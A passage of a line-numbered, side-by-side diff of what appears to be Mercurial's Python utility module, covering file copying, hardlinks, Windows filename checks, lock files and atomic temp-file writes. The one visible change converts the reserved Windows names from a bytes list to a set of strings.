1174 # copytime is ignored for symlinks, but in general copytime isn't needed
1175 # for them anyway
1175 # for them anyway
1176 else:
1176 else:
1177 try:
1177 try:
1178 shutil.copyfile(src, dest)
1178 shutil.copyfile(src, dest)
1179 if copystat:
1179 if copystat:
1180 # copystat also copies mode
1180 # copystat also copies mode
1181 shutil.copystat(src, dest)
1181 shutil.copystat(src, dest)
1182 else:
1182 else:
1183 shutil.copymode(src, dest)
1183 shutil.copymode(src, dest)
1184 if oldstat and oldstat.stat:
1184 if oldstat and oldstat.stat:
1185 newstat = filestat.frompath(dest)
1185 newstat = filestat.frompath(dest)
1186 if newstat.isambig(oldstat):
1186 if newstat.isambig(oldstat):
1187 # stat of copied file is ambiguous to original one
1187 # stat of copied file is ambiguous to original one
1188 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1188 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1189 os.utime(dest, (advanced, advanced))
1189 os.utime(dest, (advanced, advanced))
1190 except shutil.Error as inst:
1190 except shutil.Error as inst:
1191 raise Abort(str(inst))
1191 raise Abort(str(inst))
1192
1192
1193 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1193 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1194 """Copy a directory tree using hardlinks if possible."""
1194 """Copy a directory tree using hardlinks if possible."""
1195 num = 0
1195 num = 0
1196
1196
1197 gettopic = lambda: hardlink and _('linking') or _('copying')
1197 gettopic = lambda: hardlink and _('linking') or _('copying')
1198
1198
1199 if os.path.isdir(src):
1199 if os.path.isdir(src):
1200 if hardlink is None:
1200 if hardlink is None:
1201 hardlink = (os.stat(src).st_dev ==
1201 hardlink = (os.stat(src).st_dev ==
1202 os.stat(os.path.dirname(dst)).st_dev)
1202 os.stat(os.path.dirname(dst)).st_dev)
1203 topic = gettopic()
1203 topic = gettopic()
1204 os.mkdir(dst)
1204 os.mkdir(dst)
1205 for name, kind in listdir(src):
1205 for name, kind in listdir(src):
1206 srcname = os.path.join(src, name)
1206 srcname = os.path.join(src, name)
1207 dstname = os.path.join(dst, name)
1207 dstname = os.path.join(dst, name)
1208 def nprog(t, pos):
1208 def nprog(t, pos):
1209 if pos is not None:
1209 if pos is not None:
1210 return progress(t, pos + num)
1210 return progress(t, pos + num)
1211 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1211 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1212 num += n
1212 num += n
1213 else:
1213 else:
1214 if hardlink is None:
1214 if hardlink is None:
1215 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1215 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1216 os.stat(os.path.dirname(dst)).st_dev)
1216 os.stat(os.path.dirname(dst)).st_dev)
1217 topic = gettopic()
1217 topic = gettopic()
1218
1218
1219 if hardlink:
1219 if hardlink:
1220 try:
1220 try:
1221 oslink(src, dst)
1221 oslink(src, dst)
1222 except (IOError, OSError):
1222 except (IOError, OSError):
1223 hardlink = False
1223 hardlink = False
1224 shutil.copy(src, dst)
1224 shutil.copy(src, dst)
1225 else:
1225 else:
1226 shutil.copy(src, dst)
1226 shutil.copy(src, dst)
1227 num += 1
1227 num += 1
1228 progress(topic, num)
1228 progress(topic, num)
1229 progress(topic, None)
1229 progress(topic, None)
1230
1230
1231 return hardlink, num
1231 return hardlink, num
1232
1232
1233 _winreservednames = b'''con prn aux nul
1233 _winreservednames = {
1234 com1 com2 com3 com4 com5 com6 com7 com8 com9
1234 'con', 'prn', 'aux', 'nul',
1235 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1235 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1236 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1237 }
1236 _winreservedchars = ':*?"<>|'
1238 _winreservedchars = ':*?"<>|'
1237 def checkwinfilename(path):
1239 def checkwinfilename(path):
1238 r'''Check that the base-relative path is a valid filename on Windows.
1240 r'''Check that the base-relative path is a valid filename on Windows.
1239 Returns None if the path is ok, or a UI string describing the problem.
1241 Returns None if the path is ok, or a UI string describing the problem.
1240
1242
1241 >>> checkwinfilename("just/a/normal/path")
1243 >>> checkwinfilename("just/a/normal/path")
1242 >>> checkwinfilename("foo/bar/con.xml")
1244 >>> checkwinfilename("foo/bar/con.xml")
1243 "filename contains 'con', which is reserved on Windows"
1245 "filename contains 'con', which is reserved on Windows"
1244 >>> checkwinfilename("foo/con.xml/bar")
1246 >>> checkwinfilename("foo/con.xml/bar")
1245 "filename contains 'con', which is reserved on Windows"
1247 "filename contains 'con', which is reserved on Windows"
1246 >>> checkwinfilename("foo/bar/xml.con")
1248 >>> checkwinfilename("foo/bar/xml.con")
1247 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1249 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1248 "filename contains 'AUX', which is reserved on Windows"
1250 "filename contains 'AUX', which is reserved on Windows"
1249 >>> checkwinfilename("foo/bar/bla:.txt")
1251 >>> checkwinfilename("foo/bar/bla:.txt")
1250 "filename contains ':', which is reserved on Windows"
1252 "filename contains ':', which is reserved on Windows"
1251 >>> checkwinfilename("foo/bar/b\07la.txt")
1253 >>> checkwinfilename("foo/bar/b\07la.txt")
1252 "filename contains '\\x07', which is invalid on Windows"
1254 "filename contains '\\x07', which is invalid on Windows"
1253 >>> checkwinfilename("foo/bar/bla ")
1255 >>> checkwinfilename("foo/bar/bla ")
1254 "filename ends with ' ', which is not allowed on Windows"
1256 "filename ends with ' ', which is not allowed on Windows"
1255 >>> checkwinfilename("../bar")
1257 >>> checkwinfilename("../bar")
1256 >>> checkwinfilename("foo\\")
1258 >>> checkwinfilename("foo\\")
1257 "filename ends with '\\', which is invalid on Windows"
1259 "filename ends with '\\', which is invalid on Windows"
1258 >>> checkwinfilename("foo\\/bar")
1260 >>> checkwinfilename("foo\\/bar")
1259 "directory name ends with '\\', which is invalid on Windows"
1261 "directory name ends with '\\', which is invalid on Windows"
1260 '''
1262 '''
1261 if path.endswith('\\'):
1263 if path.endswith('\\'):
1262 return _("filename ends with '\\', which is invalid on Windows")
1264 return _("filename ends with '\\', which is invalid on Windows")
1263 if '\\/' in path:
1265 if '\\/' in path:
1264 return _("directory name ends with '\\', which is invalid on Windows")
1266 return _("directory name ends with '\\', which is invalid on Windows")
1265 for n in path.replace('\\', '/').split('/'):
1267 for n in path.replace('\\', '/').split('/'):
1266 if not n:
1268 if not n:
1267 continue
1269 continue
1268 for c in _filenamebytestr(n):
1270 for c in _filenamebytestr(n):
1269 if c in _winreservedchars:
1271 if c in _winreservedchars:
1270 return _("filename contains '%s', which is reserved "
1272 return _("filename contains '%s', which is reserved "
1271 "on Windows") % c
1273 "on Windows") % c
1272 if ord(c) <= 31:
1274 if ord(c) <= 31:
1273 return _("filename contains %r, which is invalid "
1275 return _("filename contains %r, which is invalid "
1274 "on Windows") % c
1276 "on Windows") % c
1275 base = n.split('.')[0]
1277 base = n.split('.')[0]
1276 if base and base.lower() in _winreservednames:
1278 if base and base.lower() in _winreservednames:
1277 return _("filename contains '%s', which is reserved "
1279 return _("filename contains '%s', which is reserved "
1278 "on Windows") % base
1280 "on Windows") % base
1279 t = n[-1]
1281 t = n[-1]
1280 if t in '. ' and n not in '..':
1282 if t in '. ' and n not in '..':
1281 return _("filename ends with '%s', which is not allowed "
1283 return _("filename ends with '%s', which is not allowed "
1282 "on Windows") % t
1284 "on Windows") % t
1283
1285
1284 if pycompat.osname == 'nt':
1286 if pycompat.osname == 'nt':
1285 checkosfilename = checkwinfilename
1287 checkosfilename = checkwinfilename
1286 timer = time.clock
1288 timer = time.clock
1287 else:
1289 else:
1288 checkosfilename = platform.checkosfilename
1290 checkosfilename = platform.checkosfilename
1289 timer = time.time
1291 timer = time.time
1290
1292
1291 if safehasattr(time, "perf_counter"):
1293 if safehasattr(time, "perf_counter"):
1292 timer = time.perf_counter
1294 timer = time.perf_counter
1293
1295
1294 def makelock(info, pathname):
1296 def makelock(info, pathname):
1295 try:
1297 try:
1296 return os.symlink(info, pathname)
1298 return os.symlink(info, pathname)
1297 except OSError as why:
1299 except OSError as why:
1298 if why.errno == errno.EEXIST:
1300 if why.errno == errno.EEXIST:
1299 raise
1301 raise
1300 except AttributeError: # no symlink in os
1302 except AttributeError: # no symlink in os
1301 pass
1303 pass
1302
1304
1303 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1305 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1304 os.write(ld, info)
1306 os.write(ld, info)
1305 os.close(ld)
1307 os.close(ld)
1306
1308
1307 def readlock(pathname):
1309 def readlock(pathname):
1308 try:
1310 try:
1309 return os.readlink(pathname)
1311 return os.readlink(pathname)
1310 except OSError as why:
1312 except OSError as why:
1311 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1313 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1312 raise
1314 raise
1313 except AttributeError: # no symlink in os
1315 except AttributeError: # no symlink in os
1314 pass
1316 pass
1315 fp = posixfile(pathname)
1317 fp = posixfile(pathname)
1316 r = fp.read()
1318 r = fp.read()
1317 fp.close()
1319 fp.close()
1318 return r
1320 return r
1319
1321
1320 def fstat(fp):
1322 def fstat(fp):
1321 '''stat file object that may not have fileno method.'''
1323 '''stat file object that may not have fileno method.'''
1322 try:
1324 try:
1323 return os.fstat(fp.fileno())
1325 return os.fstat(fp.fileno())
1324 except AttributeError:
1326 except AttributeError:
1325 return os.stat(fp.name)
1327 return os.stat(fp.name)
1326
1328
1327 # File system features
1329 # File system features
1328
1330
1329 def fscasesensitive(path):
1331 def fscasesensitive(path):
1330 """
1332 """
1331 Return true if the given path is on a case-sensitive filesystem
1333 Return true if the given path is on a case-sensitive filesystem
1332
1334
1333 Requires a path (like /foo/.hg) ending with a foldable final
1335 Requires a path (like /foo/.hg) ending with a foldable final
1334 directory component.
1336 directory component.
1335 """
1337 """
1336 s1 = os.lstat(path)
1338 s1 = os.lstat(path)
1337 d, b = os.path.split(path)
1339 d, b = os.path.split(path)
1338 b2 = b.upper()
1340 b2 = b.upper()
1339 if b == b2:
1341 if b == b2:
1340 b2 = b.lower()
1342 b2 = b.lower()
1341 if b == b2:
1343 if b == b2:
1342 return True # no evidence against case sensitivity
1344 return True # no evidence against case sensitivity
1343 p2 = os.path.join(d, b2)
1345 p2 = os.path.join(d, b2)
1344 try:
1346 try:
1345 s2 = os.lstat(p2)
1347 s2 = os.lstat(p2)
1346 if s2 == s1:
1348 if s2 == s1:
1347 return False
1349 return False
1348 return True
1350 return True
1349 except OSError:
1351 except OSError:
1350 return True
1352 return True
1351
1353
1352 try:
1354 try:
1353 import re2
1355 import re2
1354 _re2 = None
1356 _re2 = None
1355 except ImportError:
1357 except ImportError:
1356 _re2 = False
1358 _re2 = False
1357
1359
1358 class _re(object):
1360 class _re(object):
1359 def _checkre2(self):
1361 def _checkre2(self):
1360 global _re2
1362 global _re2
1361 try:
1363 try:
1362 # check if match works, see issue3964
1364 # check if match works, see issue3964
1363 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1365 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1364 except ImportError:
1366 except ImportError:
1365 _re2 = False
1367 _re2 = False
1366
1368
1367 def compile(self, pat, flags=0):
1369 def compile(self, pat, flags=0):
1368 '''Compile a regular expression, using re2 if possible
1370 '''Compile a regular expression, using re2 if possible
1369
1371
1370 For best performance, use only re2-compatible regexp features. The
1372 For best performance, use only re2-compatible regexp features. The
1371 only flags from the re module that are re2-compatible are
1373 only flags from the re module that are re2-compatible are
1372 IGNORECASE and MULTILINE.'''
1374 IGNORECASE and MULTILINE.'''
1373 if _re2 is None:
1375 if _re2 is None:
1374 self._checkre2()
1376 self._checkre2()
1375 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1377 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1376 if flags & remod.IGNORECASE:
1378 if flags & remod.IGNORECASE:
1377 pat = '(?i)' + pat
1379 pat = '(?i)' + pat
1378 if flags & remod.MULTILINE:
1380 if flags & remod.MULTILINE:
1379 pat = '(?m)' + pat
1381 pat = '(?m)' + pat
1380 try:
1382 try:
1381 return re2.compile(pat)
1383 return re2.compile(pat)
1382 except re2.error:
1384 except re2.error:
1383 pass
1385 pass
1384 return remod.compile(pat, flags)
1386 return remod.compile(pat, flags)
1385
1387
1386 @propertycache
1388 @propertycache
1387 def escape(self):
1389 def escape(self):
1388 '''Return the version of escape corresponding to self.compile.
1390 '''Return the version of escape corresponding to self.compile.
1389
1391
1390 This is imperfect because whether re2 or re is used for a particular
1392 This is imperfect because whether re2 or re is used for a particular
1391 function depends on the flags, etc, but it's the best we can do.
1393 function depends on the flags, etc, but it's the best we can do.
1392 '''
1394 '''
1393 global _re2
1395 global _re2
1394 if _re2 is None:
1396 if _re2 is None:
1395 self._checkre2()
1397 self._checkre2()
1396 if _re2:
1398 if _re2:
1397 return re2.escape
1399 return re2.escape
1398 else:
1400 else:
1399 return remod.escape
1401 return remod.escape
1400
1402
1401 re = _re()
1403 re = _re()
1402
1404
1403 _fspathcache = {}
1405 _fspathcache = {}
1404 def fspath(name, root):
1406 def fspath(name, root):
1405 '''Get name in the case stored in the filesystem
1407 '''Get name in the case stored in the filesystem
1406
1408
1407 The name should be relative to root, and be normcase-ed for efficiency.
1409 The name should be relative to root, and be normcase-ed for efficiency.
1408
1410
1409 Note that this function is unnecessary, and should not be
1411 Note that this function is unnecessary, and should not be
1410 called, for case-sensitive filesystems (simply because it's expensive).
1412 called, for case-sensitive filesystems (simply because it's expensive).
1411
1413
1412 The root should be normcase-ed, too.
1414 The root should be normcase-ed, too.
1413 '''
1415 '''
1414 def _makefspathcacheentry(dir):
1416 def _makefspathcacheentry(dir):
1415 return dict((normcase(n), n) for n in os.listdir(dir))
1417 return dict((normcase(n), n) for n in os.listdir(dir))
1416
1418
1417 seps = pycompat.ossep
1419 seps = pycompat.ossep
1418 if pycompat.osaltsep:
1420 if pycompat.osaltsep:
1419 seps = seps + pycompat.osaltsep
1421 seps = seps + pycompat.osaltsep
1420 # Protect backslashes. This gets silly very quickly.
1422 # Protect backslashes. This gets silly very quickly.
1421 seps.replace('\\','\\\\')
1423 seps.replace('\\','\\\\')
1422 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1424 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1423 dir = os.path.normpath(root)
1425 dir = os.path.normpath(root)
1424 result = []
1426 result = []
1425 for part, sep in pattern.findall(name):
1427 for part, sep in pattern.findall(name):
1426 if sep:
1428 if sep:
1427 result.append(sep)
1429 result.append(sep)
1428 continue
1430 continue
1429
1431
1430 if dir not in _fspathcache:
1432 if dir not in _fspathcache:
1431 _fspathcache[dir] = _makefspathcacheentry(dir)
1433 _fspathcache[dir] = _makefspathcacheentry(dir)
1432 contents = _fspathcache[dir]
1434 contents = _fspathcache[dir]
1433
1435
1434 found = contents.get(part)
1436 found = contents.get(part)
1435 if not found:
1437 if not found:
1436 # retry "once per directory" per "dirstate.walk" which
1438 # retry "once per directory" per "dirstate.walk" which
1437 # may take place for each patches of "hg qpush", for example
1439 # may take place for each patches of "hg qpush", for example
1438 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1440 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1439 found = contents.get(part)
1441 found = contents.get(part)
1440
1442
1441 result.append(found or part)
1443 result.append(found or part)
1442 dir = os.path.join(dir, part)
1444 dir = os.path.join(dir, part)
1443
1445
1444 return ''.join(result)
1446 return ''.join(result)
1445
1447
1446 def getfstype(dirpath):
1448 def getfstype(dirpath):
1447 '''Get the filesystem type name from a directory (best-effort)
1449 '''Get the filesystem type name from a directory (best-effort)
1448
1450
1449 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1451 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1450 '''
1452 '''
1451 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1453 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1452
1454
1453 def checknlink(testfile):
1455 def checknlink(testfile):
1454 '''check whether hardlink count reporting works properly'''
1456 '''check whether hardlink count reporting works properly'''
1455
1457
1456 # testfile may be open, so we need a separate file for checking to
1458 # testfile may be open, so we need a separate file for checking to
1457 # work around issue2543 (or testfile may get lost on Samba shares)
1459 # work around issue2543 (or testfile may get lost on Samba shares)
1458 f1 = testfile + ".hgtmp1"
1460 f1 = testfile + ".hgtmp1"
1459 if os.path.lexists(f1):
1461 if os.path.lexists(f1):
1460 return False
1462 return False
1461 try:
1463 try:
1462 posixfile(f1, 'w').close()
1464 posixfile(f1, 'w').close()
1463 except IOError:
1465 except IOError:
1464 try:
1466 try:
1465 os.unlink(f1)
1467 os.unlink(f1)
1466 except OSError:
1468 except OSError:
1467 pass
1469 pass
1468 return False
1470 return False
1469
1471
1470 f2 = testfile + ".hgtmp2"
1472 f2 = testfile + ".hgtmp2"
1471 fd = None
1473 fd = None
1472 try:
1474 try:
1473 oslink(f1, f2)
1475 oslink(f1, f2)
1474 # nlinks() may behave differently for files on Windows shares if
1476 # nlinks() may behave differently for files on Windows shares if
1475 # the file is open.
1477 # the file is open.
1476 fd = posixfile(f2)
1478 fd = posixfile(f2)
1477 return nlinks(f2) > 1
1479 return nlinks(f2) > 1
1478 except OSError:
1480 except OSError:
1479 return False
1481 return False
1480 finally:
1482 finally:
1481 if fd is not None:
1483 if fd is not None:
1482 fd.close()
1484 fd.close()
1483 for f in (f1, f2):
1485 for f in (f1, f2):
1484 try:
1486 try:
1485 os.unlink(f)
1487 os.unlink(f)
1486 except OSError:
1488 except OSError:
1487 pass
1489 pass
1488
1490
1489 def endswithsep(path):
1491 def endswithsep(path):
1490 '''Check path ends with os.sep or os.altsep.'''
1492 '''Check path ends with os.sep or os.altsep.'''
1491 return (path.endswith(pycompat.ossep)
1493 return (path.endswith(pycompat.ossep)
1492 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1494 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1493
1495
1494 def splitpath(path):
1496 def splitpath(path):
1495 '''Split path by os.sep.
1497 '''Split path by os.sep.
1496 Note that this function does not use os.altsep because this is
1498 Note that this function does not use os.altsep because this is
1497 an alternative of simple "xxx.split(os.sep)".
1499 an alternative of simple "xxx.split(os.sep)".
1498 It is recommended to use os.path.normpath() before using this
1500 It is recommended to use os.path.normpath() before using this
1499 function if need.'''
1501 function if need.'''
1500 return path.split(pycompat.ossep)
1502 return path.split(pycompat.ossep)
1501
1503
1502 def gui():
1504 def gui():
1503 '''Are we running in a GUI?'''
1505 '''Are we running in a GUI?'''
1504 if pycompat.sysplatform == 'darwin':
1506 if pycompat.sysplatform == 'darwin':
1505 if 'SSH_CONNECTION' in encoding.environ:
1507 if 'SSH_CONNECTION' in encoding.environ:
1506 # handle SSH access to a box where the user is logged in
1508 # handle SSH access to a box where the user is logged in
1507 return False
1509 return False
1508 elif getattr(osutil, 'isgui', None):
1510 elif getattr(osutil, 'isgui', None):
1509 # check if a CoreGraphics session is available
1511 # check if a CoreGraphics session is available
1510 return osutil.isgui()
1512 return osutil.isgui()
1511 else:
1513 else:
1512 # pure build; use a safe default
1514 # pure build; use a safe default
1513 return True
1515 return True
1514 else:
1516 else:
1515 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1517 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1516
1518
1517 def mktempcopy(name, emptyok=False, createmode=None):
1519 def mktempcopy(name, emptyok=False, createmode=None):
1518 """Create a temporary file with the same contents from name
1520 """Create a temporary file with the same contents from name
1519
1521
1520 The permission bits are copied from the original file.
1522 The permission bits are copied from the original file.
1521
1523
1522 If the temporary file is going to be truncated immediately, you
1524 If the temporary file is going to be truncated immediately, you
1523 can use emptyok=True as an optimization.
1525 can use emptyok=True as an optimization.
1524
1526
1525 Returns the name of the temporary file.
1527 Returns the name of the temporary file.
1526 """
1528 """
1527 d, fn = os.path.split(name)
1529 d, fn = os.path.split(name)
1528 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1530 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1529 os.close(fd)
1531 os.close(fd)
1530 # Temporary files are created with mode 0600, which is usually not
1532 # Temporary files are created with mode 0600, which is usually not
1531 # what we want. If the original file already exists, just copy
1533 # what we want. If the original file already exists, just copy
1532 # its mode. Otherwise, manually obey umask.
1534 # its mode. Otherwise, manually obey umask.
1533 copymode(name, temp, createmode)
1535 copymode(name, temp, createmode)
1534 if emptyok:
1536 if emptyok:
1535 return temp
1537 return temp
1536 try:
1538 try:
1537 try:
1539 try:
1538 ifp = posixfile(name, "rb")
1540 ifp = posixfile(name, "rb")
1539 except IOError as inst:
1541 except IOError as inst:
1540 if inst.errno == errno.ENOENT:
1542 if inst.errno == errno.ENOENT:
1541 return temp
1543 return temp
1542 if not getattr(inst, 'filename', None):
1544 if not getattr(inst, 'filename', None):
1543 inst.filename = name
1545 inst.filename = name
1544 raise
1546 raise
1545 ofp = posixfile(temp, "wb")
1547 ofp = posixfile(temp, "wb")
1546 for chunk in filechunkiter(ifp):
1548 for chunk in filechunkiter(ifp):
1547 ofp.write(chunk)
1549 ofp.write(chunk)
1548 ifp.close()
1550 ifp.close()
1549 ofp.close()
1551 ofp.close()
1550 except: # re-raises
1552 except: # re-raises
1551 try: os.unlink(temp)
1553 try: os.unlink(temp)
1552 except OSError: pass
1554 except OSError: pass
1553 raise
1555 raise
1554 return temp
1556 return temp
1555
1557
1556 class filestat(object):
1558 class filestat(object):
1557 """help to exactly detect change of a file
1559 """help to exactly detect change of a file
1558
1560
1559 'stat' attribute is result of 'os.stat()' if specified 'path'
1561 'stat' attribute is result of 'os.stat()' if specified 'path'
1560 exists. Otherwise, it is None. This can avoid preparative
1562 exists. Otherwise, it is None. This can avoid preparative
1561 'exists()' examination on client side of this class.
1563 'exists()' examination on client side of this class.
1562 """
1564 """
1563 def __init__(self, stat):
1565 def __init__(self, stat):
1564 self.stat = stat
1566 self.stat = stat
1565
1567
1566 @classmethod
1568 @classmethod
1567 def frompath(cls, path):
1569 def frompath(cls, path):
1568 try:
1570 try:
1569 stat = os.stat(path)
1571 stat = os.stat(path)
1570 except OSError as err:
1572 except OSError as err:
1571 if err.errno != errno.ENOENT:
1573 if err.errno != errno.ENOENT:
1572 raise
1574 raise
1573 stat = None
1575 stat = None
1574 return cls(stat)
1576 return cls(stat)
1575
1577
1576 @classmethod
1578 @classmethod
1577 def fromfp(cls, fp):
1579 def fromfp(cls, fp):
1578 stat = os.fstat(fp.fileno())
1580 stat = os.fstat(fp.fileno())
1579 return cls(stat)
1581 return cls(stat)
1580
1582
1581 __hash__ = object.__hash__
1583 __hash__ = object.__hash__
1582
1584
1583 def __eq__(self, old):
1585 def __eq__(self, old):
1584 try:
1586 try:
1585 # if ambiguity between stat of new and old file is
1587 # if ambiguity between stat of new and old file is
1586 # avoided, comparison of size, ctime and mtime is enough
1588 # avoided, comparison of size, ctime and mtime is enough
1587 # to exactly detect change of a file regardless of platform
1589 # to exactly detect change of a file regardless of platform
1588 return (self.stat.st_size == old.stat.st_size and
1590 return (self.stat.st_size == old.stat.st_size and
1589 self.stat.st_ctime == old.stat.st_ctime and
1591 self.stat.st_ctime == old.stat.st_ctime and
1590 self.stat.st_mtime == old.stat.st_mtime)
1592 self.stat.st_mtime == old.stat.st_mtime)
1591 except AttributeError:
1593 except AttributeError:
1592 pass
1594 pass
1593 try:
1595 try:
1594 return self.stat is None and old.stat is None
1596 return self.stat is None and old.stat is None
1595 except AttributeError:
1597 except AttributeError:
1596 return False
1598 return False
1597
1599
1598 def isambig(self, old):
1600 def isambig(self, old):
1599 """Examine whether new (= self) stat is ambiguous against old one
1601 """Examine whether new (= self) stat is ambiguous against old one
1600
1602
1601 "S[N]" below means stat of a file at N-th change:
1603 "S[N]" below means stat of a file at N-th change:
1602
1604
1603 - S[n-1].ctime < S[n].ctime: can detect change of a file
1605 - S[n-1].ctime < S[n].ctime: can detect change of a file
1604 - S[n-1].ctime == S[n].ctime
1606 - S[n-1].ctime == S[n].ctime
1605 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1607 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1606 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1608 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1607 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1609 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1608 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1610 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1609
1611
1610 Case (*2) above means that a file was changed twice or more at
1612 Case (*2) above means that a file was changed twice or more at
1611 same time in sec (= S[n-1].ctime), and comparison of timestamp
1613 same time in sec (= S[n-1].ctime), and comparison of timestamp
1612 is ambiguous.
1614 is ambiguous.
1613
1615
1614 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1616 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1615 timestamp is ambiguous".
1617 timestamp is ambiguous".
1616
1618
1617 But advancing mtime only in case (*2) doesn't work as
1619 But advancing mtime only in case (*2) doesn't work as
1618 expected, because naturally advanced S[n].mtime in case (*1)
1620 expected, because naturally advanced S[n].mtime in case (*1)
1619 might be equal to manually advanced S[n-1 or earlier].mtime.
1621 might be equal to manually advanced S[n-1 or earlier].mtime.
1620
1622
1621 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1623 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1622 treated as ambiguous regardless of mtime, to avoid overlooking
1624 treated as ambiguous regardless of mtime, to avoid overlooking
1623 by confliction between such mtime.
1625 by confliction between such mtime.
1624
1626
1625 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1627 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1626 S[n].mtime", even if size of a file isn't changed.
1628 S[n].mtime", even if size of a file isn't changed.
1627 """
1629 """
1628 try:
1630 try:
1629 return (self.stat.st_ctime == old.stat.st_ctime)
1631 return (self.stat.st_ctime == old.stat.st_ctime)
1630 except AttributeError:
1632 except AttributeError:
1631 return False
1633 return False
1632
1634
1633 def avoidambig(self, path, old):
1635 def avoidambig(self, path, old):
1634 """Change file stat of specified path to avoid ambiguity
1636 """Change file stat of specified path to avoid ambiguity
1635
1637
1636 'old' should be previous filestat of 'path'.
1638 'old' should be previous filestat of 'path'.
1637
1639
1638 This skips avoiding ambiguity, if a process doesn't have
1640 This skips avoiding ambiguity, if a process doesn't have
1639 appropriate privileges for 'path'. This returns False in this
1641 appropriate privileges for 'path'. This returns False in this
1640 case.
1642 case.
1641
1643
1642 Otherwise, this returns True, as "ambiguity is avoided".
1644 Otherwise, this returns True, as "ambiguity is avoided".
1643 """
1645 """
1644 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1646 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1645 try:
1647 try:
1646 os.utime(path, (advanced, advanced))
1648 os.utime(path, (advanced, advanced))
1647 except OSError as inst:
1649 except OSError as inst:
1648 if inst.errno == errno.EPERM:
1650 if inst.errno == errno.EPERM:
1649 # utime() on the file created by another user causes EPERM,
1651 # utime() on the file created by another user causes EPERM,
1650 # if a process doesn't have appropriate privileges
1652 # if a process doesn't have appropriate privileges
1651 return False
1653 return False
1652 raise
1654 raise
1653 return True
1655 return True
1654
1656
1655 def __ne__(self, other):
1657 def __ne__(self, other):
1656 return not self == other
1658 return not self == other
1657
1659
1658 class atomictempfile(object):
1660 class atomictempfile(object):
1659 '''writable file object that atomically updates a file
1661 '''writable file object that atomically updates a file
1660
1662
1661 All writes will go to a temporary copy of the original file. Call
1663 All writes will go to a temporary copy of the original file. Call
1662 close() when you are done writing, and atomictempfile will rename
1664 close() when you are done writing, and atomictempfile will rename
1663 the temporary copy to the original name, making the changes
1665 the temporary copy to the original name, making the changes
1664 visible. If the object is destroyed without being closed, all your
1666 visible. If the object is destroyed without being closed, all your
1665 writes are discarded.
1667 writes are discarded.
1666
1668
1667 checkambig argument of constructor is used with filestat, and is
1669 checkambig argument of constructor is used with filestat, and is
1668 useful only if target file is guarded by any lock (e.g. repo.lock
1670 useful only if target file is guarded by any lock (e.g. repo.lock
1669 or repo.wlock).
1671 or repo.wlock).
1670 '''
1672 '''
1671 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1673 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1672 self.__name = name # permanent name
1674 self.__name = name # permanent name
1673 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1675 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1674 createmode=createmode)
1676 createmode=createmode)
1675 self._fp = posixfile(self._tempname, mode)
1677 self._fp = posixfile(self._tempname, mode)
1676 self._checkambig = checkambig
1678 self._checkambig = checkambig
1677
1679
1678 # delegated methods
1680 # delegated methods
1679 self.read = self._fp.read
1681 self.read = self._fp.read
1680 self.write = self._fp.write
1682 self.write = self._fp.write
1681 self.seek = self._fp.seek
1683 self.seek = self._fp.seek
1682 self.tell = self._fp.tell
1684 self.tell = self._fp.tell
1683 self.fileno = self._fp.fileno
1685 self.fileno = self._fp.fileno
1684
1686
1685 def close(self):
1687 def close(self):
1686 if not self._fp.closed:
1688 if not self._fp.closed:
1687 self._fp.close()
